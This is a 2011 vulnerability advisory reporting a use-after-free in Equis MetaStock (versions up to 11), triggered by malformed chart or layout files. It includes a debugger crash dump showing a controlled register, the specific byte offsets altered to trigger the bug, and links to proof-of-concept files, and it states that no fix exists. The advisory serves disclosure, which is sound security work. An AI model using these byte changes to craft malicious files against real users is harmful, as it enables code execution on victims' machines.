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Luigi Auriemma
Application: Equis MetaStock
http://www.equis.com
Versions: <= 11
Platforms: Windows
Bug: use after free
Exploitation: file
Date: 06 Sep 2011
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org
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1) Introduction
2) Bug
3) The Code
4) Fix
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1) Introduction
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MetaStock is the most used and awarded software for performing
technical analysis of stocks, futures, forex, commodities, indices and
other financial instruments.
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2) Bug
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All the files supported by MetaStock (mwc/mws charts, mwt templates and
mwl layout) cause an use-after-free vulnerability exploitable through
invalid and malformed files:
eax=41414141 ebx=73eccedd ecx=01028620 edx=00000004 esi=010283c0 edi=0012e748
eip=00486378 esp=0012deb0 ebp=0012e754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
Mswin+0x86378:
00486378 ff5004 call dword ptr [eax+4] ds:0023:41414145=????????
Modified bytes:
0000308B 1E 40
00003214 74 41 ; eax 0x41414141 on Windows 2003 Server
00003215 69 41
00003216 76 41
00003217 65 41
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3) The Code
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http://aluigi.org/poc/metastock_1.mwl
http://www.exploit-db.com/sploits/17836.mwl
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4) Fix
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No fix.
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